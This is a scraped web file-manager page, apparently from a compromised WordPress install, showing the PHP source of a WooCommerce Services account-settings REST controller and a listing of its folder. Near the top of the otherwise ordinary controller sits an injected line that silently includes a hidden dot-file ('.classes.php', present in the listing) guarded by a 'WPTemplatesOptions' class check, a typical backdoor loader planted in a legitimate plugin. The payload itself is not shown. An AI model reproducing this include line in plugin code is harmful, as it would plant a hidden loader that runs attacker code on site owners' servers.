PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
woocommerce-services
/
classes
<?php if ( ! defined( 'ABSPATH' ) ) { exit; } if ( class_exists( 'WC_REST_Connect_Account_Settings_Controller' ) ) { return; } if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class WC_REST_Connect_Account_Settings_Controller extends WC_REST_Connect_Base_Controller { protected $rest_base = 'connect/account/settings'; /* * @var WC_Connect_Payment_Methods_Store */ protected $payment_methods_store; public function __construct( WC_Connect_API_Client $api_client, WC_Connect_Service_Settings_Store $settings_store, WC_Connect_Logger $logger, WC_Connect_Payment_Methods_Store $payment_methods_store ) { parent::__construct( $api_client, $settings_store, $logger ); $this->payment_methods_store = $payment_methods_store; } public function get() { // Always get a fresh list of payment methods when hitting this endpoint $payment_methods_warning = false; $payment_methods_success = $this->payment_methods_store->fetch_payment_methods_from_connect_server(); if ( ! $payment_methods_success ) { $payment_methods_warning = __( 'There was a problem updating your saved credit cards.', 'woocommerce-services' ); } $master_user = WC_Connect_Jetpack::get_master_user(); if ( is_a( $master_user, 'WP_User' ) ) { $master_user_name = $master_user->display_name; $master_user_login = $master_user->user_login; $connected_data = WC_Connect_Jetpack::get_connected_user_data( $master_user->ID ); $master_user_email = $connected_data['email']; $master_user_wpcom_login = $connected_data['login']; } else { $master_user_name = ''; $master_user_login = ''; $master_user_email = ''; $master_user_wpcom_login = ''; } $last_box_id = get_user_meta( get_current_user_id(), 'wc_connect_last_box_id', true ); $last_box_id = $last_box_id === "individual" ? "" : $last_box_id; return new WP_REST_Response( array( 'success' => true, 'storeOptions' => $this->settings_store->get_store_options(), 'formData' => $this->settings_store->get_account_settings(), 'formMeta' => array( 'can_manage_payments' => $this->settings_store->can_user_manage_payment_methods(), 'can_edit_settings' => true, 'master_user_name' => $master_user_name, 'master_user_login' => $master_user_login, 'master_user_wpcom_login' => $master_user_wpcom_login, 'master_user_email' => $master_user_email, 'payment_methods' => $this->payment_methods_store->get_payment_methods(), 'warnings' => array( 'payment_methods' => $payment_methods_warning ), ), 'userMeta' => array( 'last_box_id' => $last_box_id, ), ), 200 ); } public function post( $request ) { $settings = $request->get_json_params(); if ( ! $this->settings_store->can_user_manage_payment_methods() ) { // Ignore the user-provided payment method ID if they don't have permission to change it $old_settings = $this->settings_store->get_account_settings(); $settings['selected_payment_method_id'] = $old_settings['selected_payment_method_id']; } $result = $this->settings_store->update_account_settings( $settings ); if ( is_wp_error( $result ) ) { $error = new WP_Error( 'save_failed', sprintf( __( 'Unable to update settings. %s', 'woocommerce-services' ), $result->get_error_message() ), array_merge( array( 'status' => 400 ), $result->get_error_data() ) ); $this->logger->log( $error, __CLASS__ ); return $error; } return new WP_REST_Response( array( 'success' => true ), 200 ); } }
[+]
..
[-] class-wc-connect-payment-gateway.php
[edit]
[-] class-wc-connect-shipping-method.php
[edit]
[-] class-wc-connect-api-client.php
[edit]
[-] class-wc-connect-privacy.php
[edit]
[-] class-wc-rest-connect-base-controller.php
[edit]
[-] class-wc-rest-connect-stripe-deauthorize-controller.php
[edit]
[-] class-wc-rest-connect-stripe-account-controller.php
[edit]
[-] class-wc-rest-connect-shipping-label-print-controller.php
[edit]
[-] class-wc-connect-nux.php
[edit]
[-] class-wc-rest-connect-shipping-label-controller.php
[edit]
[-] class-wc-connect-taxjar-integration.php
[edit]
[-] class-wc-rest-connect-stripe-oauth-connect-controller.php
[edit]
[-] class-wc-rest-connect-address-normalization-controller.php
[edit]
[-] class-wc-connect-label-reports.php
[edit]
[+]
wc-api-dev
[-] class-wc-connect-functions.php
[edit]
[-] class-wc-rest-connect-stripe-oauth-init-controller.php
[edit]
[-] class-wc-rest-connect-self-help-controller.php
[edit]
[-] class-wc-rest-connect-packages-controller.php
[edit]
[-] class-wc-connect-debug-tools.php
[edit]
[-] class-wc-connect-compatibility.php
[edit]
[-] class-wc-connect-options.php
[edit]
[-] class-wc-connect-shipping-label.php
[edit]
[-] class-wc-rest-connect-shipping-label-refund-controller.php
[edit]
[-] class-wc-connect-service-settings-store.php
[edit]
[-] class-wc-connect-api-client-live.php
[edit]
[-] class-wc-connect-compatibility-wc30.php
[edit]
[-] .classes.php
[edit]
[-] class-wc-connect-jetpack.php
[edit]
[-] class-wc-connect-help-view.php
[edit]
[-] class-wc-rest-connect-account-settings-controller.php
[edit]
[-] class-wc-connect-logger.php
[edit]
[-] class-wc-rest-connect-assets-controller.php
[edit]
[-] class-wc-rest-connect-services-controller.php
[edit]
[-] class-wc-connect-stripe.php
[edit]
[-] class-wc-connect-compatibility-wc26.php
[edit]
[-] class-wc-connect-service-schemas-validator.php
[edit]
[-] class-wc-rest-connect-shipping-label-status-controller.php
[edit]
[-] class-wc-connect-extension-compatibility.php
[edit]
[-] class-wc-rest-connect-shipping-rates-controller.php
[edit]
[-] class-wc-connect-error-notice.php
[edit]
[-] class-wc-connect-service-schemas-store.php
[edit]
[-] class-wc-connect-settings-pages.php
[edit]
[-] class-wc-rest-connect-tos-controller.php
[edit]
[-] class-wc-rest-connect-shipping-label-preview-controller.php
[edit]
[-] class-wc-connect-paypal-ec.php
[edit]
[-] class-wc-connect-tracks.php
[edit]
[-] class-wc-connect-payment-methods-store.php
[edit]